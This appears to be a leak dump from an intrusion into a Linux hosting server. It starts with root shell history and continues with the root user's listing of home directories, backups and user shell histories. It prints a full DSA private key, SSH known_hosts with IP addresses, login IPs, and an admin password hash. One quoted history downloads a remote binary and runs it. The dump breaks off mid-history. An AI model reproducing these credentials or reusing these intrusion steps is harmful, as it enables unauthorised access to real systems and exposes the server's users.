cd home ls g00ns83/backup mv g00ns83/backup/oldlayout g00ns83/public_html w cd /home/evilcode cd newircd/ su evilcode ddos syn netstat netstat -a ddos ddos 10 ls csf -r ls nano /etc/csf/csf.deny ls cd / l ls cd / ls cd /evilcode ls cd /home/evilcode ls cd newircd/ ls cd Unreal3.2.7 su evilcode w cd / cd /home ls cd evilcode/ ls cd newircd/ ls cd Unreal3.2.7 ls su evilcode ls cd ../../ ls ls evilcode ls ps -aux ls cd /home ls cd evilcode ls cd Unreal3.2 ls ps -aux ls su evilcode cd /home/evilcode ls cd newircd ls cd unreal3.2.7 cd Unreal3.2.7 ls su evilcode ls w cd / ls cd /home cd evilcode/ ls cd newircd l ls cd Unreal3.2.7 ls su evilcode ls cd / ls cd home ls cd excodeirc/ ls mv Unreal3.2 privateirc ls mv privateirc/ Unreal3.2 cp Unreal3.2 privateircd ls cp Unreal3.2 privateircd ls Unreal ls Unreal3.2 su excodeirc ls cd / cd /home ls cd egg/ ls cd eggdrop ls nano v0ltr0n.conf nano v0ltr0n.chan ./eggdrop-1.6.18 v0ltr0n.conf su egg w passwd g00ns83 w ls cd / su ls make install su sixtyz su sixtyz ls cd /home/sixtyz ls mkdir wee cd wee su sixtyz ls su sixtyz ls cd / su sixtyz su sixtyz ls cd / ls cd /home ls cd g00nsts395/ ls cd ts ls su g00nsts395 ls ps -aux cd /home ls cd evilcode ls cd newircd ls cd Unreal3.2.7 ls nano unrealircd.conf su evilcode up last last \ grep root cd /var/log/httpd/domains ls cat g00ns.net.log | grep 403 cat g00ns.net.log cat g00ns.net.log | grep http cat g00ns.net.log | grep regime cat g00ns.net.log | grep c99 cat g00ns.net.log | grep shell cat g00ns.net.log | grep 406 cat g00ns.net.log | grep 403 htc cat g00ns-forum.net.log | grep 403 [root@demon2 ~]# ls -al .ssh total 24 drwx------ 2 root root 4096 Feb 10 12:55 . drwxr-x--- 14 root root 4096 Mar 27 16:14 .. -rw------- 1 root root 668 Jul 31 2007 id_dsa -rw-r--r-- 1 root root 612 Jul 31 2007 id_dsa.pub -rw-r--r-- 1 root root 2630 Apr 14 11:40 known_hosts [root@demon2 ~]# cat .ssh/* -----BEGIN DSA PRIVATE KEY----- MIIBugIBAAKBgQCr+zFL0Hd8ONiBNi9HwL/rgZcyIi/cHbbhZ/Sra2AaDfSFivL5 XmtmaFgSVPbxCLWgxCtM8E8MGX/T/c/A2EFwqHfXgjLAyMNBuKDfumVYMwH51smL u5FrJhjt4qRgPnnG3W5Y1BkyoX28HvgnYHVNIGXcXe7GTutcIyGrrmYDNQIVAIKN sRm7Oi3Ql4Nc9/R997aQiZpNAoGAeDuTtliW+zn9ki5EKTVZCTM0EhGxarDF8JOz 6JPfAlCpHEBtpNkQwmM1Gi8/XHPmAfDnNV0Na02XruhNk1UnWITBlqdU73Q413zx LkWtyoPLECz2ySjpbTtatkcOTlDKroyZBxBEZPd3zLNClWfKAbW3mj02Pp5eMA11 eSfZoV8CgYAysoncbc8l0WCVF5+NF84bfbRCYLCzMKq7e4kVoyGwGcoVHjVihRa+ n/UmWxQx7Q4+DiuzzpyTFnSjUUlsxwnYXyg+9pswgyKi0FHxR01S+2b0laQNwnJp xp6T7yuSKLG3PacwFo+WWgVlMm7lafZHjKYBm0TE3ZdnBq3EM1TsbAIUeUGslYXH 8q7BsyrkvGrDpQAhjSI= -----END DSA PRIVATE KEY----- ssh-dss AAAAB3NzaC1kc3MAAACBAKv7MUvQd3w42IE2L0fAv+uBlzIiL9wdtuFn9Kt rYBoN9IWK8vlea2ZoWBJU9vEItaDEK0zwTwwZf9P9z8DYQXCod9eCMsDIw0G4oN+6ZV gzAfnWyYu7kWsmGO3ipGA+ecbdbljUGTKhfbwe+CdgdU0gZdxd7sZO61wjIauuZgM1A AAAFQCCjbEZuzot0JeDXPf0ffe2kImaTQAAAIB4O5O2WJb7Of2SLkQpNVkJMzQSEbFq sMXwk7Pok98CUKkcQG2k2RDCYzUaLz9cc+YB8Oc1XQ1rTZeu6E2TVSdYhMGWp1TvdDj XfPEuRa3Kg8sQLPbJKOltO1q2Rw5OUMqujJkHEERk93fMs0KVZ8oBtbeaPTY+nl4wDX V5J9mhXwAAAIAysoncbc8l0WCVF5+NF84bfbRCYLCzMKq7e4kVoyGwGcoVHjVihRa+n /UmWxQx7Q4+DiuzzpyTFnSjUUlsxwnYXyg+9pswgyKi0FHxR01S+2b0laQNwnJpxp6T 7yuSKLG3PacwFo+WWgVlMm7lafZHjKYBm0TE3ZdnBq3EM1TsbA== root@server.domain.com 72.20.5.94 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAz6mhC9bjyFZ4EYXzRu2C Z8QLdxeSm9z5Y4svIrDM7xWD11MsWArRV6FAdb29NKCTVGu4Bn/jZmvjzG0W8mSd1b4 AzdOm/T24+nGdfgKujuTonEHO3xMPomTdvmYsKYgn7JYboa5meUXD2hJJZ/nZUq2aSe 7ByYsS5vCEsBHGIv0= 69.42.223.17 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx8MbaIB8gbYx6GMEEO jwSfkeq4n/8c5erPuGuQH/oJUkU6DD1KDkqKwptS4PkiAMZVV93tU/VBo3MT1i0YVQl TRWyg8sKuwsNv0f0x0day2qsoz0lSNYnjKXWYLqT1qryv1slI4BXuQB1jhr5dARBmVL +YCNx6OSxvt7Q9m0JwtTqQayOm6Zcab/H3pm97nrYKRRxX3ikdXJdnekCwJw5BPZcyp dqLlowB9hbVijWVnVZAYg96HssBRR6WxxNAPOLmCj/8bx4fLnNHu2F9tLdcNyzGMUuD bLxYI+06Nwtk3fovpKwo+b/DmfcHaF4Lkm96pWpuhc6oduxh6ySvlviw== halturnershow.com,208.53.158.3 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA 7ry8evVeuNNH0+p9VXPMqqPgp9NjMx/EDUj7hnGwreKYWyCybTitmpGgTDFTuu8YZGA r+ssHoF2FMkr1lTF82IIsMx+EXMkoQJ0/SvMBO/gJiIsBRTU13n6Ad8FQZBCBez0dkz RI0msupnbWnytPvqu9j0/pErPzaGWrINB+6N63Cs241GU6Lt8EG6RX4UVgBTSm8aold +Ixpy+lmwTh3CNJu5zFtoCmmg7rCiQ7sn8ci4Rqq6YzV7LhzRyIiGRzH448v3/dDaUa f2ENIvycEz27ZezeB2g5B5icTPH+VQNhqTohEtoQec0vHqA9CzSExXufDlS4is+F7dJ LcA0Tnw== 74.86.141.218 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuSVqCiY8KhmN3OHYH lu03zkoGIMIGQPaM0bM6alUQPl7H7iAF9WOqaQ7OjpsBxvQO7/tchkP9Azy40W428OK gg61XDrJoy/fBnOXAmvAKj42N7l3engj9P7MN229DDH0ygM/o1ykP7bob5MZx5BSzFu DYaQtK+OhuhbsNiXOGCtIXPQ6XLRSo72GKoFzT4Y1Kc/Pux0lXrA7JrX8cOw24TgkQ1 4Xh9vWRUXnxlq2HkrLT2VPrJ50Rl4feDSScqGyvXtQDuWrIsLdk5sA9EhIIqYbYsJUU oHcIh30tOyOUoPcg3KTbk7gcInMGl3k7IOTZHI17wqOiNu1qIWYcGr1Tw== apu.711chan.org,89.46.37.242 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnv nw1ZMHvmPzZ1cNLYwYYmUWVw5xncnMe/S/yyTwQ23kpDf6Ut0z/wpKeQd+m3XTiwzDU NsKLdIkUpZLucbqjBE1XlNF9pHqKqX1j5rvZN/rCNREdJkChWk2KRddSdBOg/Oc81tl OX6Fjv9zLglbo2y7Ojqx2eML/zifxTTTF82V0czG/bsXdtdhcW4JtVXVoN1iUcvEvZK AyEN41N/OZDAqUGaEYAjqDpmI/JJM3uCKDl1qelt0iuWZLEOivUp6emnjiQNPKF4Sb1 silje6uETSsjK/n8mIi1YmO/KNRg+MM9LQ2EWe/cS+xAJwyeDT9WiY/k867FjlXxIBP cu3Lw== [72.20.6.22]:5000 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvmD6suMeQqo2o NRg9p4nzWttZZfLC1Uhmmnv/Y7YyQRjvBBjr5rAPdbfLxY6nsc4/f6JDmwNKdIn0j6L AcjFak/kuf7rAJwcolrsRxm4C5LH89D+r32t7guOI9hPgA0R38N7k7q2ykQlDNGyuMJ p+1UXSAe8t0E+2VSgrr173rqNe+1oRaPWHcUdwoN9O+VmTVg+uS+cvlLSVue8BrUCZS vcDAOdMXeSOos7kibaQ181juAjHp+xEHd0zfdQxzItP9mMz0lqnY+J/miHuu6sm4G3E 7WEXBLFjaTIZx3OzEg3eDBKpK8EYzXkYY5aq4eNNfCmqZqWdjnEBUwNCxrKGQ== [72.20.6.190]:9000 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAneqXXAJ+LhaK Kc6z2ugq1C6CojO0ylJCaZaO9WCL1CfstSGVBaEgYUq7qk7MtgGq71IIHuaYTE5KoXR 6l8P+pZaONa/2vSCbmdOg7q/9xBQwmuXC8zKEnR7IqPqYL5idFioGV1G2dWYMTFJySQ MPI96jW1a4iu5AL61zC2WEr9f8jDjGQ8+FTx8u7zX8GEaEJAQQEr99CpDq29jp7pKNF BOSo9OW5mDJt2Q8NOotExSdEkmkxrEBcOFshfiEmY99lm4QCjOFVDSxdH5s0VNKdYu0 FBfMRlEh+UXFtL29BuEQUZnMwqU2NqCJknQ1gQawn8pQfYkpf4vBsu/h4/p2ow== [root@demon2 ~]# cd /home [root@demon2 home]# ls -al total 252 drwx--x--x 50 root root 4096 Mar 27 16:19 . drwxr-xr-x 27 root root 4096 Mar 11 00:10 .. drwx------ 2 40zzz 40zzz 4096 Dec 21 21:57 40zzz drwx--x--x 17 admin admin 4096 Feb 11 22:44 admin drwx--x--x 6 alliancedn alliancedn 4096 Aug 1 2007 alliancedn drwx--x--x 8 aosw aosw 4096 Aug 1 2007 aosw -rw------- 1 root root 13312 Apr 21 05:01 aquota.group -rw------- 1 root root 13312 Apr 21 05:01 aquota.user drwxr-xr-x 3 root root 4096 Jan 14 00:10 asbestos drwx--x--x 9 barnseo barnseo 4096 Mar 5 23:19 barnseo drwx--x--x 6 bnc bnc 4096 Aug 8 2007 bnc drwx--x--x 6 bored bored 4096 Aug 1 2007 bored drwx--x--x 6 churc0 churc0 4096 Aug 1 2007 churc0 drwx--x--x 6 connors connors 4096 Aug 1 2007 connors drwx------ 3 cstest cstest 4096 Dec 11 17:29 cstest drwx------ 2 cunt cunt 4096 Mar 13 17:26 cunt drwx--x--x 5 dougie dougie 4096 Dec 20 16:28 dougie drwx--x--x 10 egg egg 4096 Mar 23 11:26 egg drwx--x--x 6 every every 4096 Aug 1 2007 every drwxr-xr-x 9 evilcode evilcode 4096 Mar 25 13:40 evilcode drwx--x--x 25 excodeirc excodeirc 4096 Apr 14 22:26 excodeirc drwx--x--x 6 exploiterc exploiterc 4096 Dec 15 13:10 exploiterc drwx--x--x 7 felosi felosi 4096 Feb 10 12:51 felosi drwx--x--x 6 felosii felosii 4096 Aug 1 2007 felosii drwxr-xr-x 2 root root 4096 Apr 22 2007 ftp drwx--x--x 9 g00ns83 g00ns83 4096 Apr 18 21:47 g00ns83 drwx--x--x 10 g00nsts395 g00nsts395 4096 Apr 16 19:57 g00nsts395 drwx--x--x 7 grumpy grumpy 4096 Aug 1 2007 grumpy drwx--x--x 4 hackrad hackrad 4096 Aug 2 2007 hackrad drwx--x--x 5 hanon hanon 4096 Mar 23 16:25 hanon drwx------ 2 silc silc 4096 Jan 4 23:12 help drwx--x--x 7 hthhost hthhost 4096 Dec 30 14:59 hthhost drwx------ 2 ident ident 4096 Feb 1 00:01 ident drwx--x--x 7 illmob illmob 4096 Apr 1 04:21 illmob drwx--x--x 5 lost lost 4096 Feb 19 19:07 lost drwx------ 2 root root 16384 Jul 31 2007 lost+found drwx--x--x 6 mycorp mycorp 4096 Aug 2 2007 mycorp drwx--x--x 8 party party 4096 Mar 7 18:20 party drwx--x--x 5 partyvan partyvan 4096 Jan 1 15:04 partyvan drwx--x--x 7 pingyill pingyill 4096 Aug 1 2007 pingyill drwx--x--x 5 564 565 4096 Mar 9 11:56 pr0be drwx--x--x 5 pvannet pvannet 4096 Mar 26 19:13 pvannet drwx--x--x 6 ragedns ragedns 4096 Aug 2 2007 ragedns drwx--x--x 6 rageserver rageserver 4096 Aug 1 2007 rageserver drwx--x--x 6 robo robo 4096 Aug 1 2007 robo drwx--x--x 15 shoutcas shoutcas 4096 Aug 6 2007 shoutcas drwx------ 3 silc silc 4096 Jan 18 16:08 silc drwx--x--x 7 sixtyz sixtyz 4096 Apr 16 19:09 sixtyz drwx--x--x 10 sn00g3s sn00g3s 4096 Apr 3 01:33 sn00g3s drwxrwxrwt 2 root root 4096 Apr 21 00:10 tmp drwx------ 5 tribal tribal 4096 Mar 26 07:36 tribal drwx--x--x 6 void void 4096 Aug 1 2007 void [root@demon2 home]# lastlog | grep -v Never Username Port From Latest root pts/1 74-34-107-191.ds Mon Apr 21 03:44:04 -0700 2008 barnseo pts/1 86.121.190.64 Wed Mar 5 23:05:21 -0800 2008 bnc pts/1 78.129.174.155 Sat Apr 19 20:27:10 -0700 2008 partyvan pts/5 cpe-76-174-156-5 Tue Jan 1 15:27:39 -0800 2008 [root@demon2 home]# cd 40zzz [root@demon2 40zzz]# ls -al total 24 drwx------ 2 40zzz 40zzz 4096 Dec 21 21:57 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. -rw-r--r-- 1 40zzz 40zzz 24 Dec 21 21:57 .bash_logout -rw-r--r-- 1 40zzz 40zzz 176 Dec 21 21:57 .bash_profile -rw-r--r-- 1 40zzz 40zzz 124 Dec 21 21:57 .bashrc [root@demon2 40zzz]# cd ../admin [root@demon2 admin]# ls -al total 119196 drwx--x--x 17 admin admin 4096 Feb 11 22:44 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. lrwxrwxrwx 1 root root 21 Sep 13 2007 admin_backups -> /backup/admin_backups drwxrwxr-x 2 admin admin 4096 Aug 1 2007 admin_backups1 drwx------ 2 admin admin 4096 Aug 1 2007 backups -rw------- 1 admin admin 5774 Feb 11 22:50 .bash_history -rw-r--r-- 1 admin admin 304 Apr 27 2006 .bash_logout -rw-r--r-- 1 admin admin 191 Apr 27 2006 .bash_profile -rw-r--r-- 1 admin admin 124 Apr 27 2006 .bashrc -rw-rw-r-- 1 admin admin 6090 Jul 2 2007 da.cpanel.import.9beta1.tar.gz -r--r--r-- 1 admin admin 20320 May 26 2007 da.cpanel.import.pl -rwxr-xr-x 1 admin admin 272 Aug 6 2007 defaults.conf drwxr-xr-x 9 admin admin 4096 Jul 4 2007 domains drwx------ 2 admin admin 4096 Sep 29 2007 .elinks -rw-r--r-- 1 admin admin 383 Apr 27 2006 .emacs drwxr-xr-x 4 admin admin 4096 Aug 1 2007 ex drwxrwxr-x 2 admin admin 4096 Oct 11 2007 export drwxrwx--- 5 admin admin 4096 Aug 1 2007 imap drwxrwxr-x 2 admin admin 4096 Oct 11 2007 import drwx------ 2 admin admin 4096 Aug 1 2007 mail drwxrwxr-x 2 admin admin 4096 Jan 4 2007 .mc drwxr-xr-x 6 admin admin 4096 May 15 2006 modsecurity-apache_1.9.4 -rw-rw-r-- 1 admin admin 496805 Jan 11 2007 modsecurity-apache_1.9.4.tar.gz -rw------- 1 admin admin 419 Sep 29 2007 .nessusrc drwxr-xr-x 2 admin admin 4096 Jul 3 2007 public_html -rw-r--r-- 1 admin admin 55412 Jul 3 2007 rulezz.conf -rw-r----- 1 admin mail 34 Jun 29 2007 .shadow drwx------ 2 admin admin 4096 Aug 1 2007 .ssh -rwx------ 1 admin admin 8515 Feb 10 15:41 t -rw-r--r-- 1 admin admin 213250 Aug 1 2007 user.admin.alliancedn.tar.gz -rw-r----- 1 admin admin 120993882 Aug 1 2007 user.admin.sn00g3s.tar.gz drwx--x--x 2 admin admin 4096 Dec 8 10:00 user_backups drwxr-xr-x 3 admin admin 4096 Sep 29 2007 webmail [root@demon2 admin]# cat .bash_history cd cd user_backups ftp premshells.com ping rst-crew.net exit cdf cd cd user_backups ftp premshells.com uptime nst exit cd cd userbackups cd user_backups ftp blackhat-hosting.com exit ftp black-hosting.com ftp blackhat-hosting.com updatedb exit nano -w /etc/apf/deny_hosts.rules exit cd user_backups cd cd user-backups cd user_backups ls cp rosec.tar.gz /home/admin/domains cd /home/admin/domains ls mv rosec.tar.gz cpl.alliancedns.com cd cpl.alliancedns.com mv rosec.tar.gz public_html exit cd mc chmod 644 rosec.tar.gz exit cd ls rm -rf backup user_backups mkdir /home/admin/admin_backups ping zone-h.org exit cd ls ls mkdir user_backups cp *.tar.gz user_backups exit cd chmod 755 domains ls -la domains exit cd chmod 755 domains cd exit cd ls mv *.tar.gz user_backups ls ls user_backups exit crontab -e exit cd ls ls admin_backups rm -rf admin_backups cat /etc/hosts ls mkdir admin_backups exit cd cd admin* ls ls ls exit cd ls cd admin* ls rm -rf */tar.gz ls rm -rf *tar.gz ls exit cd cd admin* ls cat /etc/hosts exit cd ls mv user.admin.aosw.tar.gz admin_backups ls admin* ls -la admin* top exit cd ls rm -rf backup-8.1.2007_11-19-41_g00ns83.tar.gz wget http://kade.nu/da/da.cpanel.import.9beta1.tar.gz' wget http://kade.nu/da/da.cpanel.import.9beta1.tar.gz tar zxvf da.cpanel.import.9beta1.tar.gz nano -w defaults.conf exit nano -w defaults.conf chmod 755 defaults* nano -w defaults.conf mkdir import export rm -rf import mv cp import ls perl da.cpanel.import.pl mkdir user_backups perl da.cpanel.import.pl ls user* ls -la export cd ls cd export ls rm -rf niggerma.tar.gz sevenz.tar.gz mv *.tar.gz ../user_backups ls cd .. ls -la user_backups exit cd ls ls -la rm -rf backup-8.2.2007_18-32-22_g00ns83.tar.gz ls import cd import ls -la rm -rf backup* ls -la ls -la ls -la ls -la exit cd ls -la cd import ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la rm -rf backup-8.2.2007_18-32-22_g00ns83.tar.gz ls ddos exit cd cd import ls ls cd wget nix101.com/mod.tar.gz wget http://www.modsecurity.org/download/modsecurity-apache_1.9.4.tar.gz tar zxvf modsecurity-apache_1.9.4.tar.gz cd mod* cd apache1 apxs apxs -cia mod_security.c yum install httpd-devel exit cd cd import ls exit cd cd import ls cd ls cd import ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la nst exit cd cd import ls -la ls -la ls -la ls -la ls -la exuit exit cd cd import ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la ls -la exit \cd ls perl da.cpanel.import.pl cd export ls mv g00ns* ../user_backups ping demon2.rage-servers.com cd cd /backup ls nano test rm -rf test exit cd ls ls backup rm -rf backup top exit su admin id cd ls ls export exit cd cd import ls rm -rf *.tar.gz ftp 209.200.50.124 ls rm -rf back* cd cd import ftp 209.200.50.124 quit ftp 209.200.50.124 cd ls nano -w defaults.conf perl da.cpanel.import.pl ls export cd import ls cd cd export ls cp shoutcas.tar.gz ../user_backups cd /home/shou* exit cd ls ls -la export ls -la user_backups exit cd csf -a 72.20.1.46 exit cd ftp 72.20.1.46 ls mv your* user_backups exit cd cd domains ls cd premshells.com ls cd public_html ls exit cd cd domains cd prem* wget protectedhost.com/stat.tar.gz tar zxvf stat* LS ls tar zxvf stat.tar.gz mv status public_html cd cd domains ls cd premshells.com cd public_html; wget http://enterprise.bidmc.harvard.edu/pub/nessus-php/nessus-php-0.7.tar.gz tar zxvf nessus-php-0.7.tar.gz mv nessus-php-0.7/ nes links http://cgi.tenablesecurity.com/nessus3dl.php?file=Nessus-3.0.6-es5.i386 .rpm&licence_accept=yes&t=aefdb0eaf2b035d672a91d4b551187b4 wget http://cgi.tenablesecurity.com/nessus3dl.php?file=Nessus-3.0.6-es5.i386. rpm&licence_accept=yes&t=aefdb0eaf2b035d672a91d4b551187b4 rm -rf index.html.1 killall links wget shitonkikes.com/Nessus-3.0.6-es5.i386.rpm rpm -i Nessus-3.0.6-es5.i386.rpm exit exit ./configure cd /opt ls cd ness* ls ls sbin sbin/nessus-adduser exit cd cd import ftp cp2.secureservertech.com cd .. ls nano -w defaults.conf ls import rm -rf import/backup-8.6.2007_22-02-36_shoutcas.tar.gz perl da.cpanel.import.pl ls export cp export/stockegg* user_backups ls user-Backups ls user_backups ping www.stockegg.com ping www.stockegg.com ping www.stockegg.com ping www.stockegg.com ping www.stockegg.com ping www.stockegg.com ping www.stockegg.com ping www.stockegg.com ping www.stockegg.com ping www.stockegg.com service named restart exit cd cd user_* ls ftp sst0.com cd cd user_* ls -la aryan88* ftp sst0.com exit cd cd user_* ftp sst0.com cd ls exit cd ls wget fearlesshost.com/t chmod 700 t ./t exit [root@demon2 admin]# ls -al .ssh total 12 drwx------ 2 admin admin 4096 Aug 1 2007 . drwx--x--x 17 admin admin 4096 Feb 11 22:44 .. -rw-r--r-- 1 admin admin 220 Aug 1 2007 known_hosts [root@demon2 admin]# cat .ssh/* 72.20.1.46 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA6qCFv8UowWc3dcRnWqzz4tPsx4Glt EUA4rRmt/tsP0T4bsddMuF0yYvaSHVAZNjZwfup0heDh/cCs08AiGlKDL3yvNO4nTa/sXKr1AJ0W dg0GMnhT+D0Mu8PXdCKhIfPZLsaW5p45WYmwy6afKxM20wZNVKw3YTXJweFE6n0s9M= [root@demon2 admin]# ls -al /backup/admin_backups total 28936116 drwxr-xr-x 2 admin admin 4096 Dec 30 16:49 . drwxr-xr-x 6 admin admin 4096 Feb 1 03:03 .. -rw-r----- 1 admin felosi 11560 Sep 14 2007 admin.admin.felosi.tar.gz -rw-r----- 1 admin admin 11404750600 Dec 18 21:28 admin.root.admin.tar.gz -rw-r----- 1 admin admin 35395367 Aug 11 2007 reseller.admin.aaatrans.tar.gz -rw-r----- 1 admin 535 2166835881 Sep 14 2007 reseller.admin.bwhost.tar.gz -rw-r----- 1 admin 503 27875 Sep 14 2007 reseller.admin.llythexic.tar.gz -rw-r----- 1 admin 549 8597301 Sep 14 2007 reseller.felosi.brinkhos.tar.gz -rw-r----- 1 admin 552 5638521 Sep 14 2007 reseller.felosi.burn.tar.gz -rw-r----- 1 admin alliancedn 264984 Dec 30 16:29 user.admin.alliancedn.tar.gz -rw-r----- 1 admin aosw 541773752 Sep 14 2007 user.admin.aosw.tar.gz -rw-r----- 1 admin 532 28274761 Sep 14 2007 user.admin.aryan88.tar.gz -rw-r----- 1 admin 538 518730829 Dec 30 16:29 user.admin.asbestos.tar.gz -rw-r----- 1 admin barnseo 16041617 Dec 18 21:29 user.admin.barnseo.tar.gz -rw-r----- 1 admin bnc 2082640 Dec 30 16:29 user.admin.bnc.tar.gz -rw-r----- 1 admin bored 3830711 Dec 18 21:29 user.admin.bored.tar.gz -rw-r----- 1 admin churc0 4341166 Dec 18 21:29 user.admin.churc0.tar.gz -rw-r----- 1 admin connors 652449 Dec 18 21:29 user.admin.connors.tar.gz -rw-r----- 1 admin dougie 5454961654 Dec 30 16:37 user.admin.dougie.tar.gz -rw-r----- 1 admin 558 20340587 Dec 18 21:37 user.admin.earn.tar.gz -rw-r----- 1 admin egg 5530647 Dec 30 16:37 user.admin.egg.tar.gz -rw-r----- 1 admin every 323268270 Dec 30 16:37 user.admin.every.tar.gz -rw-r----- 1 admin evilcode 1607382248 Dec 30 16:40 user.admin.evilcode.tar.gz -rw-r----- 1 admin excodeirc 113123361 Dec 30 16:41 user.admin.excodeirc.tar.gz -rw-r----- 1 admin exploiterc 273460363 Dec 18 21:43 user.admin.exploiterc.tar.gz -rw-r----- 1 admin felosii 202367 Dec 18 21:43 user.admin.felosii.tar.gz -rw-r----- 1 admin g00ns83 1922138751 Dec 30 16:44 user.admin.g00ns83.tar.gz -rw-r----- 1 admin g00nsts395 5616214 Dec 30 16:44 user.admin.g00nsts395.tar.gz -rw-r----- 1 admin grumpy 207859624 Dec 30 16:44 user.admin.grumpy.tar.gz -rw-r----- 1 admin 516 988823 Sep 14 2007 user.admin.hackersd.tar.gz -rw-r----- 1 admin hackrad 371198425 Dec 30 16:45 user.admin.hackrad.tar.gz -rw-r----- 1 admin 517 2334763 Dec 18 21:48 user.admin.high.tar.gz -rw-r----- 1 admin illmob 593721185 Dec 30 16:46 user.admin.illmob.tar.gz -rw-r----- 1 admin 519 104101941 Dec 18 21:49 user.admin.leetmach.tar.gz -rw-r----- 1 admin mycorp 147245 Dec 30 16:46 user.admin.mycorp.tar.gz -rw-r----- 1 admin partyvan 327144959 Dec 30 16:46 user.admin.partyvan.tar.gz -rw-r----- 1 admin pingyill 30825336 Dec 30 16:47 user.admin.pingyill.tar.gz -rw-r----- 1 admin ragedns 189555066 Dec 30 16:47 user.admin.ragedns.tar.gz -rw-r----- 1 admin rageserver 255007 Dec 30 16:47 user.admin.rageserver.tar.gz -rw-r----- 1 admin robo 290786 Dec 30 16:47 user.admin.robo.tar.gz -rw-r----- 1 admin shoutcas 385370416 Dec 30 16:48 user.admin.shoutcas.tar.gz -rw-r----- 1 admin sn00g3s 269230557 Dec 30 16:49 user.admin.sn00g3s.tar.gz -rw-r----- 1 admin 524 1468386072 Sep 14 2007 user.admin.vg114.tar.gz -rw-r----- 1 admin void 14594 Dec 30 16:49 user.admin.void.tar.gz -rw-r----- 1 admin 548 75815612 Sep 14 2007 user.admin.yourgift.tar.gz -rw-r----- 1 admin 551 626926 Sep 14 2007 user.brinkhos.bayw.tar.gz -rw-r----- 1 admin 555 30546 Sep 14 2007 user.burn.kid652.tar.gz -rw-r----- 1 admin 553 27271 Sep 14 2007 user.burn.lucasl123.tar.gz -rw-r----- 1 admin 554 24648 Sep 14 2007 user.burn.rsuchow.tar.gz -rw-r----- 1 admin 533 308158933 Sep 14 2007 user.bwhost.assault.tar.gz -rw-r----- 1 admin 526 4716486 Sep 14 2007 user.bwhost.ballardt.tar.gz -rw-r----- 1 admin 527 175245944 Sep 14 2007 user.bwhost.darkstorm.tar.gz -rw-r----- 1 admin 528 597461 Sep 14 2007 user.bwhost.mffclan.tar.gz -rw-r----- 1 admin 529 540182805 Sep 14 2007 user.bwhost.squad.tar.gz -rw-r----- 1 admin 530 903208 Sep 14 2007 user.bwhost.tnpreacher.tar.gz -rw-r----- 1 admin 531 71751894 Sep 14 2007 user.bwhost.xlostboyx.tar.gz -rw-r----- 1 admin 550 8486403 Sep 14 2007 user.felosi.prox.tar.gz [root@demon2 admin]# ls -al backups total 8 drwx------ 2 admin admin 4096 Aug 1 2007 . drwx--x--x 17 admin admin 4096 Feb 11 22:44 .. [root@demon2 admin]# cat .shadow $1$k67PPtsg$vReIxhUQshkQHrgN8qop4/ [root@demon2 admin]# cd ../bnc [root@demon2 bnc]# ls -al total 364 drwx--x--x 6 bnc bnc 4096 Aug 8 2007 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. -rw------- 1 bnc bnc 6018 Apr 19 20:31 .bash_history -rw-r--r-- 1 bnc bnc 24 Aug 3 2007 .bash_logout -rw-r--r-- 1 bnc bnc 176 Aug 3 2007 .bash_profile -rw-r--r-- 1 bnc bnc 124 Aug 3 2007 .bashrc drwx--x--x 3 bnc bnc 4096 Aug 3 2007 domains drwxrwx--- 3 bnc mail 4096 Aug 3 2007 imap drwx------ 2 bnc bnc 4096 Aug 3 2007 mail drwxr-xr-x 12 bnc bnc 4096 Apr 20 23:41 psybnc -rw-rw-r-- 1 bnc bnc 311715 Jun 4 2005 psyBNC-2.3.2-7.tar.gz lrwxrwxrwx 1 bnc bnc 35 Aug 3 2007 public_html -> ./domains/bnc.g00ns.net/public_html -rw-r----- 1 bnc mail 34 Aug 3 2007 .shadow [root@demon2 bnc]# cat .bash_history cat ls ls public_html cd public_html/ ls nano index.html cd $home ls mkdir bnc1 cd bnc1 wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz tar -zxvf psyBNC-2.3.2-7.tar.gz cd psybnc make menuconfig ./psybnc ./Psybnc ls make ./psybnc ./psybnc stop ps -aux kill 26364 ls ps -aux kill 26364 ls ps -aux kill 26364 ps -aux ls nano psybnc.conf ./psybnc ps -aux w who users kill 26364 kill 26364 kill -i 26364 kill -9 26364 ps -au ps -aux cd $home ls rm -rf bnc1 users wget http://www.psybnc.net/psyBNC-2.3.2-7.tar.gz tar zxvf psyBNC-2.3.2-7.tar.gz ls cd psybnc ls -al make menuconfig make menuconfig make ./psybnc ps =aux ps ps -a ps -A kill -9 3365 kill 3365 cd psybnc/ ls pico psybnc.conf text psybnc.conf psybnc.conf nano psybnc.conf nano psybnc.conf ./[sybnc ./psybnc w ls cd psybnc ls nano psybnc.conf nano psybnc.conf makesalt ./makesalt cd tools ls cd .. ls cd scripts ls cd example/ ls cd .. cd .. ls cd help ls cat ADDUSER.TXT cd .. ls nano psybnc.conf ls cd log ls cat psybnc.log cat psybnc.log cat 